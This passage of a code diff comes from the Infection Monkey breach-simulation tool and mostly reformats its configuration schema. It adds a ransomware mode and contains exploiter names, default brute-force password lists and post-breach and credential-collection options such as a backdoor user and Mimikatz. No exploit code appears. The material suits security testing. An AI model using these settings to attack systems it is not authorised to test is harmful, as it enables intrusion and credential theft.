gets the actual config value out of the config + # Because the config isn't flat, this for-loop gets the actual config value out of + # the config for config_key_part in config_arr_as_array: parent_config_arr = config_arr config_arr = config_arr[config_key_part] - if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, str): + if isinstance(config_arr, collections.abc.Sequence) and not isinstance(config_arr, str): for i in range(len(config_arr)): # Check if array of shh key pairs and then decrypt - if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]: - config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \ - ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + if isinstance(config_arr[i], dict) and "public_key" in config_arr[i]: + config_arr[i] = ( + ConfigService.decrypt_ssh_key_pair(config_arr[i]) + if is_decrypt + else ConfigService.decrypt_ssh_key_pair(config_arr[i], True) + ) else: - config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) + config_arr[i] = ( + get_encryptor().dec(config_arr[i]) + if is_decrypt + else get_encryptor().enc(config_arr[i]) + ) else: - parent_config_arr[config_arr_as_array[-1]] = \ - encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr) + parent_config_arr[config_arr_as_array[-1]] = ( + get_encryptor().dec(config_arr) + if is_decrypt + else get_encryptor().enc(config_arr) + ) @staticmethod def decrypt_ssh_key_pair(pair, encrypt=False): if encrypt: - pair['public_key'] = encryptor.enc(pair['public_key']) - pair['private_key'] = encryptor.enc(pair['private_key']) + pair["public_key"] = get_encryptor().enc(pair["public_key"]) + pair["private_key"] = get_encryptor().enc(pair["private_key"]) else: - pair['public_key'] = encryptor.dec(pair['public_key']) - pair['private_key'] = encryptor.dec(pair['private_key']) + pair["public_key"] = get_encryptor().dec(pair["public_key"]) + pair["private_key"] = get_encryptor().dec(pair["private_key"]) return pair @staticmethod diff --git a/monkey/monkey_island/cc/services/config_manipulator.py b/monkey/monkey_island/cc/services/config_manipulator.py new file mode 100644 index 000000000..41f555be4 --- /dev/null +++ b/monkey/monkey_island/cc/services/config_manipulator.py @@ -0,0 +1,31 @@ +from typing import Dict + +import dpath.util + +import monkey_island.cc.services.config as config_service +from monkey_island.cc.services.config_manipulators import MANIPULATOR_PER_MODE +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + + +def update_config_on_mode_set(mode: IslandModeEnum) -> bool: + config = config_service.ConfigService.get_config() + return update_config_per_mode(mode.value, config, True) + + +def update_config_per_mode(mode: str, config: Dict, should_encrypt: bool) -> bool: + config = _set_default_config_values_per_mode(mode, config) + return config_service.ConfigService.update_config( + config_json=config, should_encrypt=should_encrypt + ) + + +def _set_default_config_values_per_mode(mode: str, config: Dict) -> Dict: + config_manipulator = MANIPULATOR_PER_MODE[mode] + config = _apply_config_manipulator(config, config_manipulator) + return config + + +def _apply_config_manipulator(config: Dict, config_manipulator: Dict): + for path, value in config_manipulator.items(): + dpath.util.set(config, path, value, ".") + return config diff --git a/monkey/monkey_island/cc/services/config_manipulators.py b/monkey/monkey_island/cc/services/config_manipulators.py new file mode 100644 index 000000000..291892371 --- /dev/null +++ b/monkey/monkey_island/cc/services/config_manipulators.py @@ -0,0 +1,6 @@ +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum + +MANIPULATOR_PER_MODE = { + IslandModeEnum.ADVANCED.value: {}, + IslandModeEnum.RANSOMWARE.value: {"monkey.post_breach.post_breach_actions": []}, +} diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 0fa0b80d4..aba80e08a 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -12,9 +12,7 @@ BASIC = { "title": "Exploiters", "type": "array", "uniqueItems": True, - "items": { - "$ref": "#/definitions/exploiter_classes" - }, + "items": {"$ref": "#/definitions/exploiter_classes"}, "default": [ "SmbExploiter", "WmiExploiter", @@ -27,10 +25,10 @@ BASIC = { "HadoopExploiter", "VSFTPDExploiter", "MSSQLExploiter", - "DrupalExploiter" - ] + "DrupalExploiter", + ], } - } + }, }, "credentials": { "title": "Credentials", @@ -40,24 +38,17 @@ BASIC = { "title": "Exploit user list", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Administrator", - "root", - "user" - ], - "description": "List of user names that will be used by exploiters that need credentials, like " - "SSH brute-forcing." + "items": {"type": "string"}, + "default": ["Administrator", "root", "user"], + "description": "List of user names that will be used by exploiters that need " + "credentials, like " + "SSH brute-forcing.", }, "exploit_password_list": { "title": "Exploit password list", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, + "items": {"type": "string"}, "default": [ "root", "123456", @@ -65,12 +56,13 @@ BASIC = { "123456789", "qwerty", "111111", - "iloveyou" + "iloveyou", ], - "description": "List of passwords that will be used by exploiters that need credentials, like " - "SSH brute-forcing." - } - } - } - } + "description": "List of passwords that will be used by exploiters that need " + "credentials, like " + "SSH brute-forcing.", + }, + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index 5ae044d95..eceda4828 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -9,6 +9,11 @@ BASIC_NETWORK = { "title": "Scope", "type": "object", "properties": { + "info_box": { + "info": 'The Monkey scans its subnet if "Local network scan" is checked. ' + 'Additionally, the Monkey scans machines according to "Scan ' + 'target list".', + }, "blocked_ips": { "title": "Blocked IPs", "type": "array", @@ -17,49 +22,46 @@ BASIC_NETWORK = { "type": "string", "format": IP, }, - "default": [ - ], + "default": [], "description": "List of IPs that the Monkey will not scan.", - "info": "The Monkey scans its subnet if \"Local network scan\" is ticked. " - "Additionally the monkey scans machines according to \"Scan target list\"." }, "local_network_scan": { "title": "Local network scan", "type": "boolean", "default": True, - "description": "Determines whether the Monkey will scan the local subnets of machines it runs on, " - "in addition to the IPs that are configured manually in the \"Scan target list\"." + "description": "Determines whether the Monkey will scan the local subnets of " + "machines it runs on, " + "in addition to the IPs that are configured manually in the " + '"Scan target list".', }, "depth": { "title": "Scan depth", "type": "integer", "minimum": 1, "default": 2, - "description": - "Amount of hops allowed for the Monkey to spread from the Island server. \n" - + WARNING_SIGN - + " Note that setting this value too high may result in the Monkey propagating too far, " - "if the \"Local network scan\" is enabled." + "description": "Amount of hops allowed for the Monkey to spread from the " + "Island server. \n" + + WARNING_SIGN + + " Note that setting this value too high may result in the " + "Monkey propagating too far, " + 'if the "Local network scan" is enabled.', }, "subnet_scan_list": { "title": "Scan target list", "type": "array", "uniqueItems": True, - "items": { - "type": "string", - "format": IP_RANGE - }, - "default": [ - ], - "description": - "List of targets the Monkey will try to scan. Targets can be IPs, subnets or hosts." - " Examples:\n" - "\tTarget a specific IP: \"192.168.0.1\"\n" - "\tTarget a subnet using a network range: \"192.168.0.5-192.168.0.20\"\n" - "\tTarget a subnet using an IP mask: \"192.168.0.5/24\"\n" - "\tTarget a specific host: \"printer.example\"" - } - } + "items": {"type": "string", "format": IP_RANGE}, + "default": [], + "description": "List of targets the Monkey will try to scan. Targets can be " + "IPs, subnets or hosts." + " Examples:\n" + '\tTarget a specific IP: "192.168.0.1"\n' + "\tTarget a subnet using a network range: " + '"192.168.0.5-192.168.0.20"\n' + '\tTarget a subnet using an IP mask: "192.168.0.5/24"\n' + '\tTarget a specific host: "printer.example"', + }, + }, }, "network_analysis": { "title": "Network Analysis", @@ -69,27 +71,26 @@ BASIC_NETWORK = { "title": "Network segmentation testing", "type": "array", "uniqueItems": True, - "items": { - "type": "string", - "format": IP_RANGE - }, - "default": [ - ], - "description": - "Test for network segmentation by providing a list of network segments " - "that should NOT be accessible to each other.\n\n" - "For example, if you configured the following three segments: " - "\"10.0.0.0/24\", \"11.0.0.2/32\", and \"12.2.3.0/24\", " - "a Monkey running on 10.0.0.5 will try to access machines in the following subnets: " - "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment connections " - "will be shown in the reports. \n\n" - "Network segments can be IPs, subnets or hosts. Examples:\n" - "\tDefine a single-IP segment: \"192.168.0.1\"\n" - "\tDefine a segment using a network range: \"192.168.0.5-192.168.0.20\"\n" - "\tDefine a segment using an subnet IP mask: \"192.168.0.5/24\"\n" - "\tDefine a single-host segment: \"printer.example\"" + "items": {"type": "string", "format": IP_RANGE}, + "default": [], + "description": "Test for network segmentation by providing a list of network " + "segments " + "that should NOT be accessible to each other.\n\n" + "For example, if you configured the following three segments: " + '"10.0.0.0/24", "11.0.0.2/32", and "12.2.3.0/24", ' + "a Monkey running on 10.0.0.5 will try to access machines in " + "the following subnets: " + "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment " + "connections " + "will be shown in the reports. \n\n" + "Network segments can be IPs, subnets or hosts. Examples:\n" + '\tDefine a single-IP segment: "192.168.0.1"\n' + "\tDefine a segment using a network range: " + '"192.168.0.5-192.168.0.20"\n' + '\tDefine a segment using an subnet IP mask: "192.168.0.5/24"\n' + '\tDefine a single-host segment: "printer.example"', } - } - } - } + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index 17d7752c0..fb1e35b45 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -2,11 +2,15 @@ from monkey_island.cc.services.config_schema.basic import BASIC from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES -from monkey_island.cc.services.config_schema.definitions.post_breach_actions import POST_BREACH_ACTIONS -from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import \ - SYSTEM_INFO_COLLECTOR_CLASSES +from monkey_island.cc.services.config_schema.definitions.post_breach_actions import ( + POST_BREACH_ACTIONS, +) +from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import ( + SYSTEM_INFO_COLLECTOR_CLASSES, +) from monkey_island.cc.services.config_schema.internal import INTERNAL from monkey_island.cc.services.config_schema.monkey import MONKEY +from monkey_island.cc.services.config_schema.ransomware import RANSOMWARE SCHEMA = { "title": "Monkey", @@ -18,16 +22,14 @@ SCHEMA = { "exploiter_classes": EXPLOITER_CLASSES, "system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES, "post_breach_actions": POST_BREACH_ACTIONS, - "finger_classes": FINGER_CLASSES - + "finger_classes": FINGER_CLASSES, }, "properties": { "basic": BASIC, "basic_network": BASIC_NETWORK, "monkey": MONKEY, + "ransomware": RANSOMWARE, "internal": INTERNAL, }, - "options": { - "collapsed": True - } + "options": {"collapsed": True}, } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 88186e9ed..c450f8d2a 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -4,7 +4,8 @@ EXPLOITER_CLASSES = { "title": "Exploit class", "description": "Click on exploiter to get more information about it." + WARNING_SIGN - + " Note that using unsafe exploits may cause crashes of the exploited machine/service.", + + " Note that using unsafe exploits may cause crashes of the exploited " + "machine/service.", "type": "string", "anyOf": [ { @@ -15,7 +16,8 @@ EXPLOITER_CLASSES = { "attack_techniques": ["T1110", "T1075", "T1035"], "info": "Brute forces using credentials provided by user and" " hashes gathered by mimikatz.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/smbexec/", }, { "type": "string", @@ -24,8 +26,10 @@ EXPLOITER_CLASSES = { "safe": True, "attack_techniques": ["T1110", "T1106"], "info": "Brute forces WMI (Windows Management Instrumentation) " - "using credentials provided by user and hashes gathered by mimikatz.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/", + "using credentials provided by user and hashes gathered by " + "mimikatz.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/wmiexec/", }, { "type": "string", @@ -35,16 +39,19 @@ EXPLOITER_CLASSES = { "attack_techniques": ["T1110"], "info": "Tries to brute force into MsSQL server and uses insecure " "configuration to execute commands on server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/mssql/", }, { "type": "string", "enum": ["Ms08_067_Exploiter"], "title": "MS08-067 Exploiter", "safe": False, - "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. " + "info": "Unsafe exploiter, that might cause system crash due to the use of buffer " + "overflow. " "Uses MS08-067 vulnerability.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08" + "-067/", }, { "type": "string", @@ -52,8 +59,10 @@ EXPLOITER_CLASSES = { "title": "SSH Exploiter", "safe": True, "attack_techniques": ["T1110", "T1145", "T1106"], - "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/", + "info": "Brute forces using credentials provided by user and SSH keys " + "gathered from systems.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/sshexec/", }, { "type": "string", @@ -62,7 +71,8 @@ EXPLOITER_CLASSES = { "safe": True, "info": "CVE-2014-6271, based on logic from " "https://github.com/nccgroup/shocker/blob/master/shocker.py .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/shellshock/", }, { "type": "string", @@ -70,7 +80,8 @@ EXPLOITER_CLASSES = { "title": "SambaCry Exploiter", "safe": True, "info": "Bruteforces and searches for anonymous shares. Uses Impacket.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/sambacry/", }, { "type": "string", @@ -78,7 +89,8 @@ EXPLOITER_CLASSES = { "title": "ElasticGroovy Exploiter", "safe": True, "info": "CVE-2015-1427. Logic is based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/elasticgroovy/", }, { "type": "string", @@ -95,7 +107,8 @@ EXPLOITER_CLASSES = { "title": "WebLogic Exploiter", "safe": True, "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/weblogic/", }, { "type": "string", @@ -103,7 +116,8 @@ EXPLOITER_CLASSES = { "title": "Hadoop/Yarn Exploiter", "safe": True, "info": "Remote code execution on HADOOP server with YARN and default settings. " - "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", + "Logic based on " + "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/", }, { @@ -137,7 +151,8 @@ EXPLOITER_CLASSES = { "password has been restored. If Infection Monkey fails to restore the " "password automatically, you'll have to do it manually. For more " "information, see the documentation.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/", + "link": "https://www.guardicore.com/infectionmonkey" + "/docs/reference/exploiters/zerologon/", }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 8edff3fcc..2a617e011 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -1,76 +1,63 @@ FINGER_CLASSES = { "title": "Fingerprint class", "description": "Fingerprint modules collect info about external services " - "Infection Monkey scans.", + "Infection Monkey scans.", "type": "string", "anyOf": [ { "type": "string", - "enum": [ - "SMBFinger" - ], + "enum": ["SMBFinger"], "title": "SMBFinger", "safe": True, "info": "Figures out if SMB is running and what's the version of it.", - "attack_techniques": ["T1210"] + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "SSHFinger" - ], + "enum": ["SSHFinger"], "title": "SSHFinger", "safe": True, "info": "Figures out if SSH is running.", - "attack_techniques": ["T1210"] + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "PingScanner" - ], + "enum": ["PingScanner"], "title": "PingScanner", "safe": True, - "info": "Tries to identify if host is alive and which OS it's running by ping scan." + "info": "Tries to identify if host is alive and which OS it's running by ping scan.", }, { "type": "string", - "enum": [ - "HTTPFinger" - ], + "enum": ["HTTPFinger"], "title": "HTTPFinger", "safe": True, - "info": "Checks if host has HTTP/HTTPS ports open." + "info": "Checks if host has HTTP/HTTPS ports open.", }, { "type": "string", - "enum": [ - "MySQLFinger" - ], + "enum": ["MySQLFinger"], "title": "MySQLFinger", "safe": True, "info": "Checks if MySQL server is running and tries to get it's version.", - "attack_techniques": ["T1210"] + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "MSSQLFinger" - ], + "enum": ["MSSQLFinger"], "title": "MSSQLFinger", "safe": True, - "info": "Checks if Microsoft SQL service is running and tries to gather information about it.", - "attack_techniques": ["T1210"] + "info": "Checks if Microsoft SQL service is running and tries to gather " + "information about it.", + "attack_techniques": ["T1210"], }, { "type": "string", - "enum": [ - "ElasticFinger" - ], + "enum": ["ElasticFinger"], "title": "ElasticFinger", "safe": True, - "info": "Checks if ElasticSearch is running and attempts to find it's version.", - "attack_techniques": ["T1210"] - } - ] + "info": "Checks if ElasticSearch is running and attempts to find it's " "version.", + "attack_techniques": ["T1210"], + }, + ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index 857e80da4..086dc8569 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -1,123 +1,108 @@ POST_BREACH_ACTIONS = { "title": "Post breach actions", - "description": "Runs scripts/commands on infected machines. These actions safely simulate what an adversary" - "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", + "description": "Runs scripts/commands on infected machines. These actions safely simulate what " + "an adversary" + "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", "type": "string", "anyOf": [ { "type": "string", - "enum": [ - "BackdoorUser" - ], + "enum": ["BackdoorUser"], "title": "Back door user", "safe": True, "info": "Attempts to create a new user on the system and delete it afterwards.", - "attack_techniques": ["T1136"] + "attack_techniques": ["T1136"], }, { "type": "string", - "enum": [ - "CommunicateAsNewUser" - ], + "enum": ["CommunicateAsNewUser"], "title": "Communicate as new user", "safe": True, - "info": "Attempts to create a new user, create HTTPS requests as that user and delete the user " - "afterwards.", - "attack_techniques": ["T1136"] + "info": "Attempts to create a new user, create HTTPS requests as that " + "user and delete the user " + "afterwards.", + "attack_techniques": ["T1136"], }, { "type": "string", - "enum": [ - "ModifyShellStartupFiles" - ], + "enum": ["ModifyShellStartupFiles"], "title": "Modify shell startup files", "safe": True, - "info": "Attempts to modify shell startup files, like ~/.profile, ~/.bashrc, ~/.bash_profile " - "in linux, and profile.ps1 in windows. Reverts modifications done afterwards.", - "attack_techniques": ["T1156", "T1504"] + "info": "Attempts to modify shell startup files, like ~/.profile, " + "~/.bashrc, ~/.bash_profile " + "in linux, and profile.ps1 in windows. Reverts modifications done" + " afterwards.", + "attack_techniques": ["T1156", "T1504"], }, { "type": "string", - "enum": [ - "HiddenFiles" - ], + "enum": ["HiddenFiles"], "title": "Hidden files and directories", "safe": True, "info": "Attempts to create a hidden file and remove it afterward.", - "attack_techniques": ["T1158"] + "attack_techniques": ["T1158"], }, { "type": "string", - "enum": [ - "TrapCommand" - ], + "enum": ["TrapCommand"], "title": "Trap", "safe": True, - "info": "On Linux systems, attempts to trap an interrupt signal in order to execute a command " - "upon receiving that signal. Removes the trap afterwards.", - "attack_techniques": ["T1154"] + "info": "On Linux systems, attempts to trap an interrupt signal in order " + "to execute a command " + "upon receiving that signal. Removes the trap afterwards.", + "attack_techniques": ["T1154"], }, { "type": "string", - "enum": [ - "ChangeSetuidSetgid" - ], + "enum": ["ChangeSetuidSetgid"], "title": "Setuid and Setgid", "safe": True, - "info": "On Linux systems, attempts to set the setuid and setgid bits of a new file. " - "Removes the file afterwards.", - "attack_techniques": ["T1166"] + "info": "On Linux systems, attempts to set the setuid and setgid bits of " + "a new file. " + "Removes the file afterwards.", + "attack_techniques": ["T1166"], }, { "type": "string", - "enum": [ - "ScheduleJobs" - ], + "enum": ["ScheduleJobs"], "title": "Job scheduling", "safe": True, "info": "Attempts to create a scheduled job on the system and remove it.", - "attack_techniques": ["T1168", "T1053"] + "attack_techniques": ["T1168", "T1053"], }, { "type": "string", - "enum": [ - "Timestomping" - ], + "enum": ["Timestomping"], "title": "Timestomping", "safe": True, - "info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.", - "attack_techniques": ["T1099"] + "info": "Creates a temporary file and attempts to modify its time " + "attributes. Removes the file afterwards.", + "attack_techniques": ["T1099"], }, { "type": "string", - "enum": [ - "SignedScriptProxyExecution" - ], + "enum": ["SignedScriptProxyExecution"], "title": "Signed script proxy execution", "safe": False, "info": "On Windows systems, attempts to execute an arbitrary file " - "with the help of a pre-existing signed script.", - "attack_techniques": ["T1216"] + "with the help of a pre-existing signed script.", + "attack_techniques": ["T1216"], }, { "type": "string", - "enum": [ - "AccountDiscovery" - ], + "enum": ["AccountDiscovery"], "title": "Account Discovery", "safe": True, "info": "Attempts to get a listing of user accounts on the system.", - "attack_techniques": ["T1087"] + "attack_techniques": ["T1087"], }, { "type": "string", - "enum": [ - "ClearCommandHistory" - ], + "enum": ["ClearCommandHistory"], "title": "Clear command history", "safe": False, "info": "Attempts to clear the command history.", - "attack_techniques": ["T1146"] - } - ] + "attack_techniques": ["T1146"], + }, + ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index cd756ed61..9a4a39050 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,6 +1,11 @@ -from common.common_consts.system_info_collectors_names import (AWS_COLLECTOR, AZURE_CRED_COLLECTOR, - ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, - MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR) +from common.common_consts.system_info_collectors_names import ( + AWS_COLLECTOR, + AZURE_CRED_COLLECTOR, + ENVIRONMENT_COLLECTOR, + HOSTNAME_COLLECTOR, + MIMIKATZ_COLLECTOR, + PROCESS_LIST_COLLECTOR, +) SYSTEM_INFO_COLLECTOR_CLASSES = { "title": "System Information Collectors", @@ -9,63 +14,52 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { "anyOf": [ { "type": "string", - "enum": [ - ENVIRONMENT_COLLECTOR - ], + "enum": [ENVIRONMENT_COLLECTOR], "title": "Environment collector", "safe": True, - "info": "Collects information about machine's environment (on premise/GCP/AWS).", - "attack_techniques": ["T1082"] + "info": "Collects information about machine's environment (on " "premise/GCP/AWS).", + "attack_techniques": ["T1082"], }, { "type": "string", - "enum": [ - MIMIKATZ_COLLECTOR - ], + "enum": [MIMIKATZ_COLLECTOR], "title": "Mimikatz collector", "safe": True, "info": "Collects credentials from Windows credential manager.", - "attack_techniques": ["T1003", "T1005"] + "attack_techniques": ["T1003", "T1005"], }, { "type": "string", - "enum": [ - AWS_COLLECTOR - ], + "enum": [AWS_COLLECTOR], "title": "AWS collector", "safe": True, - "info": "If on AWS, collects more information about the AWS instance currently running on.", - "attack_techniques": ["T1082"] + "info": "If on AWS, collects more information about the AWS instance " + "currently running on.", + "attack_techniques": ["T1082"], }, { "type": "string", - "enum": [ - HOSTNAME_COLLECTOR - ], + "enum": [HOSTNAME_COLLECTOR], "title": "Hostname collector", "safe": True, "info": "Collects machine's hostname.", - "attack_techniques": ["T1082", "T1016"] + "attack_techniques": ["T1082", "T1016"], }, { "type": "string", - "enum": [ - PROCESS_LIST_COLLECTOR - ], + "enum": [PROCESS_LIST_COLLECTOR], "title": "Process list collector", "safe": True, "info": "Collects a list of running processes on the machine.", - "attack_techniques": ["T1082"] + "attack_techniques": ["T1082"], }, { "type": "string", - "enum": [ - AZURE_CRED_COLLECTOR - ], + "enum": [AZURE_CRED_COLLECTOR], "title": "Azure credential collector", "safe": True, "info": "Collects password credentials from Azure VMs", - "attack_techniques": ["T1003", "T1005"] - } - ] + "attack_techniques": ["T1003", "T1005"], + }, + ], } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index f6b3523f0..1ce1c864b 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -12,29 +12,31 @@ INTERNAL = { "title": "Singleton mutex name", "type": "string", "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "description": - "The name of the mutex used to determine whether the monkey is already running" + "description": "The name of the mutex used to determine whether the monkey is " + "already running", }, "keep_tunnel_open_time": { "title": "Keep tunnel open time", "type": "integer", "default": 60, - "description": "Time to keep tunnel open before going down after last exploit (in seconds)" + "description": "Time to keep tunnel open before going down after last exploit " + "(in seconds)", }, "monkey_dir_name": { "title": "Monkey's directory name", "type": "string", "default": r"monkey_dir", - "description": "Directory name for the directory which will contain all of the monkey files" + "description": "Directory name for the directory which will contain all of the" + " monkey files", }, "started_on_island": { "title": "Started on island", "type": "boolean", "default": False, "description": "Was exploitation started from island" - "(did monkey with max depth ran on island)" + "(did monkey with max depth ran on island)", }, - } + }, }, "monkey": { "title": "Monkey", @@ -44,75 +46,63 @@ INTERNAL = { "title": "Max victims to find", "type": "integer", "default": 100, - "description": "Determines the maximum number of machines the monkey is allowed to scan" + "description": "Determines the maximum number of machines the monkey is " + "allowed to scan", }, "victims_max_exploit": { "title": "Max victims to exploit", "type": "integer", "default": 100, - "description": - "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating to " - "a high number of machines" + "description": "Determines the maximum number of machines the monkey" + " is allowed to successfully exploit. " + + WARNING_SIGN + + " Note that setting this value too high may result in the " + "monkey propagating to " + "a high number of machines", }, "internet_services": { "title": "Internet services", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "monkey.guardicore.com", - "www.google.com" - ], - "description": - "List of internet services to try and communicate with to determine internet" - " connectivity (use either ip or domain)" + "items": {"type": "string"}, + "default": ["monkey.guardicore.com", "www.google.com"], + "description": "List of internet services to try and communicate with to " + "determine internet" + " connectivity (use either ip or domain)", }, "self_delete_in_cleanup": { "title": "Self delete on cleanup", "type": "boolean", "default": True, - "description": "Should the monkey delete its executable when going down" + "description": "Should the monkey delete its executable when going down", }, "use_file_logging": { "title": "Use file logging", "type": "boolean", "default": True, - "description": "Should the monkey dump to a log file" + "description": "Should the monkey dump to a log file", }, "serialize_config": { "title": "Serialize config", "type": "boolean", "default": False, - "description": "Should the monkey dump its config on startup" + "description": "Should the monkey dump its config on startup", }, "alive": { "title": "Alive", "type": "boolean", "default": True, - "description": "Is the monkey alive" + "description": "Is the monkey alive", }, "aws_keys": { "type": "object", "properties": { - "aws_access_key_id": { - "type": "string", - "default": "" - }, - "aws_secret_access_key": { - "type": "string", - "default": "" - }, - "aws_session_token": { - "type": "string", - "default": "" - } - } - } - } + "aws_access_key_id": {"type": "string", "default": ""}, + "aws_secret_access_key": {"type": "string", "default": ""}, + "aws_session_token": {"type": "string", "default": ""}, + }, + }, + }, }, "island_server": { "title": "Island server", @@ -122,22 +112,19 @@ INTERNAL = { "title": "Island server's IP's", "type": "array", "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "192.0.2.0:5000" - ], - "description": "List of command servers/network interfaces to try to communicate with " - "(format is :)" + "items": {"type": "string"}, + "default": ["192.0.2.0:5000"], + "description": "List of command servers/network interfaces to try to " + "communicate with " + "(format is :)", }, "current_server": { "title": "Current server", "type": "string", "default": "192.0.2.0:5000", - "description": "The current command server the monkey is communicating with" - } - } + "description": "The current command server the monkey is communicating with", + }, + }, }, "network": { "title": "Network", @@ -151,26 +138,16 @@ INTERNAL = { "title": "HTTP ports", "type": "array", "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 80, - 8080, - 443, - 8008, - 7001, - 9200 - ], - "description": "List of ports the monkey will check if are being used for HTTP" + "items": {"type": "integer"}, + "default": [80, 8080, 443, 8008, 7001, 9200], + "description": "List of ports the monkey will check if are being used " + "for HTTP", }, "tcp_target_ports": { "title": "TCP target ports", "type": "array", "uniqueItems": True, - "items": { - "type": "integer" - }, + "items": {"type": "integer"}, "default": [ 22, 2222, @@ -183,29 +160,32 @@ INTERNAL = { 8008, 3306, 7001, - 8088 + 8088, ], - "description": "List of TCP ports the monkey will check whether they're open" + "description": "List of TCP ports the monkey will check whether " + "they're open", }, "tcp_scan_interval": { "title": "TCP scan interval", "type": "integer", "default": 0, - "description": "Time to sleep (in milliseconds) between scans" + "description": "Time to sleep (in milliseconds) between scans", }, "tcp_scan_timeout": 